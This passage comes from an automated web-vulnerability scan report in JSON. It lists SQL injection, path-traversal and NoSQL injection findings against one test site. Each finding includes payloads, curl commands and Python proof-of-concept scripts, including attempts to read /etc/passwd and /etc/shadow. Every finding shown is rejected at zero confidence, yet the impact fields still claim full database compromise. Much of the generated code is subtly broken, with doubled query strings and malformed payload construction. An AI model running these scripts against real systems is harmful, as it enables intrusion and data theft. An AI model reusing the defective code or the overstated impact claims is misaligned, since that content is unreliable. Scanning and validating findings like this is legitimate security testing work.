      "payload": "' AND 1=2--",
      "evidence": "SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was likely ignored or filtered. The response shows a normal HTML page with a 200 status code, which suggests the server either stripped the SQL injection payload or treated it as a harmless parameter value rather than executing it as SQL code.\n\nTo confirm SQLI_BLIND, I would need to test | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Slower but complete data extraction is possible. Can lead to full database compromise.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+1%3D2--\nParameter: pic\nPayload: ' AND 1=2--\nEvidence: SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The pa\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+1%3D2--\"\nPARAM = \"pic\"\nPAYLOAD = \"' AND 1=2--\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/product.php?pic=1&pic='\\''+AND+1%3D2--?pic='\\'' AND 1=2--'\n",
      "remediation": "1. Use parameterized queries\n2. Implement WAF rules for SQL injection patterns\n3. Use connection pooling with timeout limits\n4. Implement query logging and monitoring",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "5bda7a8e",
      "title": "Blind SQL Injection (Boolean-based)",
      "severity": "high",
      "vulnerability_type": "sqli_blind",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-89",
      "description": "SQL injection where results are inferred from application behavior changes rather than direct output.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+'a'%3D'a",
      "parameter": "pic",
      "payload": "' AND 'a'='a",
      "evidence": "SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was **ignored/filtered**. The response returns a normal 200 status with standard HTML content showing no signs of SQL query execution, error messages, or behavioral changes that would indicate the SQL injection payload was processed by the database layer. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Slower but complete data extraction is possible. Can lead to full database compromise.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+'a'%3D'a\nParameter: pic\nPayload: ' AND 'a'='a\nEvidence: SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The pa\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+'a'%3D'a\"\nPARAM = \"pic\"\nPAYLOAD = \"' AND 'a'='a\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/product.php?pic=1&pic='\\''+AND+'\\''a'\\''%3D'\\''a?pic='\\'' AND '\\''a'\\''='\\''a'\n",
      "remediation": "1. Use parameterized queries\n2. Implement WAF rules for SQL injection patterns\n3. Use connection pooling with timeout limits\n4. Implement query logging and monitoring",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "fc448ff7",
      "title": "Time-based Blind SQL Injection",
      "severity": "high",
      "vulnerability_type": "sqli_time",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-89",
      "description": "SQL injection where attacker can infer information based on time delays in responses.",
      "affected_endpoint": "http://testphp.vulnweb.com/search.php?test='%3B+WAITFOR+DELAY+'0:0:5'--",
      "parameter": "test",
      "payload": "'; WAITFOR DELAY '0:0:5'--",
      "evidence": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax | [NO PROOF] No timing anomaly detected | [CONTROLS] Negative controls passed: 0/4 controls match attack response | [AI] **The payload was NOT executed.** The response shows a normal HTML page with status 200, but crucially, you haven't provided the response time measurement - without evidence that the server actually delayed for ~5 seconds (and consistent timing across multiple requests), there's no proof the WAITFOR | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete data extraction possible, though slower. Can determine database structure and content.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/search.php?test='%3B+WAITFOR+DELAY+'0:0:5'--\nParameter: test\nPayload: '; WAITFOR DELAY '0:0:5'--\nEvidence: New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax | [NO PROOF] No timing anomaly detected | [CONTROLS] N\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/search.php?test='%3B+WAITFOR+DELAY+'0:0:5'--\"\nPARAM = \"test\"\nPAYLOAD = \"'; WAITFOR DELAY '0:0:5'--\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/search.php?test='\\''%3B+WAITFOR+DELAY+'\\''0:0:5'\\''--?test='\\''; WAITFOR DELAY '\\''0:0:5'\\''--'\n",
      "remediation": "1. Use parameterized queries\n2. Set strict query timeout limits\n3. Monitor for anomalously slow queries\n4. Implement rate limiting",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_time in test: no proof of execution (score: 0/100)"
    },
    {
      "id": "b91142d9",
      "title": "Time-based Blind SQL Injection",
      "severity": "high",
      "vulnerability_type": "sqli_time",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-89",
      "description": "SQL injection where attacker can infer information based on time delays in responses.",
      "affected_endpoint": "http://testphp.vulnweb.com/artists.php?artist='%3B+WAITFOR+DELAY+'0:0:5'--",
      "parameter": "artist",
      "payload": "'; WAITFOR DELAY '0:0:5'--",
      "evidence": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax | [NO PROOF] No timing anomaly detected | [CONTROLS] NEGATIVE CONTROL FAILED: 1/4 controls show same behavior as attack (empty) | [AI] **INSUFFICIENT DATA - Cannot determine execution status.**\n\nYou provided the payload and response content but **NO TIMING MEASUREMENT**. For SQLI_TIME testing, the response content is irrelevant - only the response time matters. Without knowing if the response took ~5 seconds (indicating WAITFOR DEL | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete data extraction possible, though slower. Can determine database structure and content.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/artists.php?artist='%3B+WAITFOR+DELAY+'0:0:5'--\nParameter: artist\nPayload: '; WAITFOR DELAY '0:0:5'--\nEvidence: New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax | [NO PROOF] No timing anomaly detected | [CONTROLS] N\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/artists.php?artist='%3B+WAITFOR+DELAY+'0:0:5'--\"\nPARAM = \"artist\"\nPAYLOAD = \"'; WAITFOR DELAY '0:0:5'--\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/artists.php?artist='\\''%3B+WAITFOR+DELAY+'\\''0:0:5'\\''--?artist='\\''; WAITFOR DELAY '\\''0:0:5'\\''--'\n",
      "remediation": "1. Use parameterized queries\n2. Set strict query timeout limits\n3. Monitor for anomalously slow queries\n4. Implement rate limiting",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)"
    },
    {
      "id": "613c09ed",
      "title": "Arbitrary File Read",
      "severity": "high",
      "vulnerability_type": "arbitrary_file_read",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-22",
      "description": "Reading arbitrary files via API or download endpoints outside intended scope.",
      "affected_endpoint": "http://testphp.vulnweb.com/artists.php?artist=/etc/passwd",
      "parameter": "artist",
      "payload": "/etc/passwd",
      "evidence": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | [PROOF] payload_reflected: Payload reflected (not in baseline) for arbitrary_file_read | [CONTROLS] NEGATIVE CONTROL FAILED: 1/4 controls show same behavior as attack (empty) | [AI] The payload was **ignored/filtered**. The response contains standard HTML content for an \"artists\" page with no evidence of `/etc/passwd` file content (no \"root:x:\" entries, user accounts, or Unix file system markers) - this appears to be the application's normal response regardless of the file path | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Access to credentials, configuration, source code, private keys.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"Path Traversal / Local File Inclusion Proof of Concept\nTarget: http://testphp.vulnweb.com/artists.php?artist=/etc/passwd\nParameter: artist\nPayload: /etc/passwd\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/artists.php?artist=/etc/passwd\"\nPARAM = \"artist\"\n\nPAYLOADS = [\n    \"/etc/passwd\",\n    \"../../../etc/passwd\",\n    \"....//....//....//etc/passwd\",\n    \"..%2f..%2f..%2fetc%2fpasswd\",\n    \"..\\\\..\\\\..\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts\",\n    \"/etc/passwd\",\n    \"....//....//....//etc/shadow\",\n]\n\ndef test_lfi():\n    print(f\"[*] Testing Path Traversal on {TARGET}\")\n    for p in PAYLOADS:\n        resp = requests.get(TARGET, params={PARAM: p}, verify=False, timeout=10)\n        print(f\"\\n[*] Payload: {p}\")\n        print(f\"    Status: {resp.status_code} | Length: {len(resp.text)}\")\n        if \"root:\" in resp.text or \"daemon:\" in resp.text:\n            print(f\"    [!] /etc/passwd content detected!\")\n            print(f\"    First 200 chars: {resp.text[:200]}\")\n            break\n\nif __name__ == \"__main__\":\n    test_lfi()\n\n# curl:\n# curl 'http://testphp.vulnweb.com/artists.php?artist=/etc/passwd?artist=/etc/passwd'\n",
      "remediation": "1. Validate file paths against whitelist\n2. Use chroot/jail\n3. Implement proper access controls\n4. Avoid user input in file paths",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected arbitrary_file_read in artist: negative controls show same behavior (1/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "bc322c2b",
      "title": "NoSQL Injection",
      "severity": "high",
      "vulnerability_type": "nosql_injection",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "cwe_id": "CWE-943",
      "description": "Injection attack targeting NoSQL databases like MongoDB through operator injection.",
      "affected_endpoint": "http://testphp.vulnweb.com/artists.php?artist=%7B%22$gt%22:+%22%22%7D",
      "parameter": "artist",
      "payload": "{\"$gt\": \"\"}",
      "evidence": "NoSQL error indicator: \\$gt | New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | NoSQL error induced: $gt | [NO PROOF] No NoSQL error or boolean diff | [CONTROLS] NEGATIVE CONTROL FAILED: 1/4 controls show same behavior as attack (empty) | [AI] The payload was **ignored/filtered**. The response shows a standard HTML page with no evidence that the NoSQL `{\"$gt\": \"\"}` operator was processed - there are no MongoDB error messages, no query operator references, and no behavioral changes that would indicate the NoSQL injection was executed by th | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Authentication bypass, data theft, and potential server compromise depending on database configuration.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"NoSQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/artists.php?artist=%7B%22$gt%22:+%22%22%7D\nParameter: artist\n\"\"\"\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/artists.php?artist=%7B%22$gt%22:+%22%22%7D\"\n\n# NoSQL injection payloads\nPAYLOADS = [\n    # MongoDB operator injection\n    {\"artist[$ne]\": \"\"},\n    {\"artist[$gt]\": \"\"},\n    {\"artist[$regex]\": \".*\"},\n    # JSON body injection\n    {\"$where\": \"1==1\"},\n]\n\ndef test_nosql():\n    print(f\"[*] Testing NoSQL Injection on {TARGET}\")\n    # Test with query params\n    for p in PAYLOADS[:3]:\n        resp = requests.get(TARGET, params=p, verify=False, timeout=10)\n        print(f\"[*] Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\n    # Test with JSON body\n    for p in PAYLOADS[3:]:\n        resp = requests.post(TARGET, json=p, verify=False, timeout=10)\n        print(f\"[*] JSON Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\nif __name__ == \"__main__\":\n    test_nosql()\n",
      "remediation": "1. Validate and sanitize all user input\n2. Use parameterized queries where available\n3. Disable server-side JavaScript execution\n4. Apply strict typing to query parameters",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected nosql_injection in artist: no proof of execution; negative controls show same behavior (1/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "a11d6f2f",
      "title": "Time-based Blind SQL Injection",
      "severity": "high",
      "vulnerability_type": "sqli_time",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-89",
      "description": "SQL injection where attacker can infer information based on time delays in responses.",
      "affected_endpoint": "http://testphp.vulnweb.com/listproducts.php?cat='%3B+WAITFOR+DELAY+'0:0:5'--",
      "parameter": "cat",
      "payload": "'; WAITFOR DELAY '0:0:5'--",
      "evidence": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax | [NO PROOF] No timing anomaly detected | [CONTROLS] NEGATIVE CONTROL FAILED: 1/4 controls show same behavior as attack (empty) | [AI] **INSUFFICIENT DATA - Cannot determine execution.**\n\nYou provided the payload and response content but **did not include the critical timing measurement**. For SQLI_TIME testing, the response time is the primary evidence - a WAITFOR DELAY '0:0:5' payload should cause approximately 5 seconds of delay | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete data extraction possible, though slower. Can determine database structure and content.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/listproducts.php?cat='%3B+WAITFOR+DELAY+'0:0:5'--\nParameter: cat\nPayload: '; WAITFOR DELAY '0:0:5'--\nEvidence: New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax | [NO PROOF] No timing anomaly detected | [CONTROLS] N\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/listproducts.php?cat='%3B+WAITFOR+DELAY+'0:0:5'--\"\nPARAM = \"cat\"\nPAYLOAD = \"'; WAITFOR DELAY '0:0:5'--\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/listproducts.php?cat='\\''%3B+WAITFOR+DELAY+'\\''0:0:5'\\''--?cat='\\''; WAITFOR DELAY '\\''0:0:5'\\''--'\n",
      "remediation": "1. Use parameterized queries\n2. Set strict query timeout limits\n3. Monitor for anomalously slow queries\n4. Implement rate limiting",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)"
    },
    {
      "id": "8f1dc15e",
      "title": "Arbitrary File Read",
      "severity": "high",
      "vulnerability_type": "arbitrary_file_read",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-22",
      "description": "Reading arbitrary files via API or download endpoints outside intended scope.",
      "affected_endpoint": "http://testphp.vulnweb.com/listproducts.php?cat=/etc/passwd",
      "parameter": "cat",
      "payload": "/etc/passwd",
      "evidence": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | [PROOF] payload_reflected: Payload reflected (not in baseline) for arbitrary_file_read | [CONTROLS] NEGATIVE CONTROL FAILED: 1/4 controls show same behavior as attack (empty) | [AI] **No execution detected.** The response contains standard HTML content with no evidence of `/etc/passwd` file content (no `root:x:` entries, user accounts, or Unix password file structure) - the payload appears to have been ignored or the application returned default content regardless of the input. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Access to credentials, configuration, source code, private keys.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"Path Traversal / Local File Inclusion Proof of Concept\nTarget: http://testphp.vulnweb.com/listproducts.php?cat=/etc/passwd\nParameter: cat\nPayload: /etc/passwd\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/listproducts.php?cat=/etc/passwd\"\nPARAM = \"cat\"\n\nPAYLOADS = [\n    \"/etc/passwd\",\n    \"../../../etc/passwd\",\n    \"....//....//....//etc/passwd\",\n    \"..%2f..%2f..%2fetc%2fpasswd\",\n    \"..\\\\..\\\\..\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts\",\n    \"/etc/passwd\",\n    \"....//....//....//etc/shadow\",\n]\n\ndef test_lfi():\n    print(f\"[*] Testing Path Traversal on {TARGET}\")\n    for p in PAYLOADS:\n        resp = requests.get(TARGET, params={PARAM: p}, verify=False, timeout=10)\n        print(f\"\\n[*] Payload: {p}\")\n        print(f\"    Status: {resp.status_code} | Length: {len(resp.text)}\")\n        if \"root:\" in resp.text or \"daemon:\" in resp.text:\n            print(f\"    [!] /etc/passwd content detected!\")\n            print(f\"    First 200 chars: {resp.text[:200]}\")\n            break\n\nif __name__ == \"__main__\":\n    test_lfi()\n\n# curl:\n# curl 'http://testphp.vulnweb.com/listproducts.php?cat=/etc/passwd?cat=/etc/passwd'\n",
      "remediation": "1. Validate file paths against whitelist\n2. Use chroot/jail\n3. Implement proper access controls\n4. Avoid user input in file paths",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected arbitrary_file_read in cat: negative controls show same behavior (1/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "c153cf48",
      "title": "NoSQL Injection",
      "severity": "high",
      "vulnerability_type": "nosql_injection",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "cwe_id": "CWE-943",
      "description": "Injection attack targeting NoSQL databases like MongoDB through operator injection.",
      "affected_endpoint": "http://testphp.vulnweb.com/listproducts.php?cat=%7B%22$gt%22:+%22%22%7D",
      "parameter": "cat",
      "payload": "{\"$gt\": \"\"}",
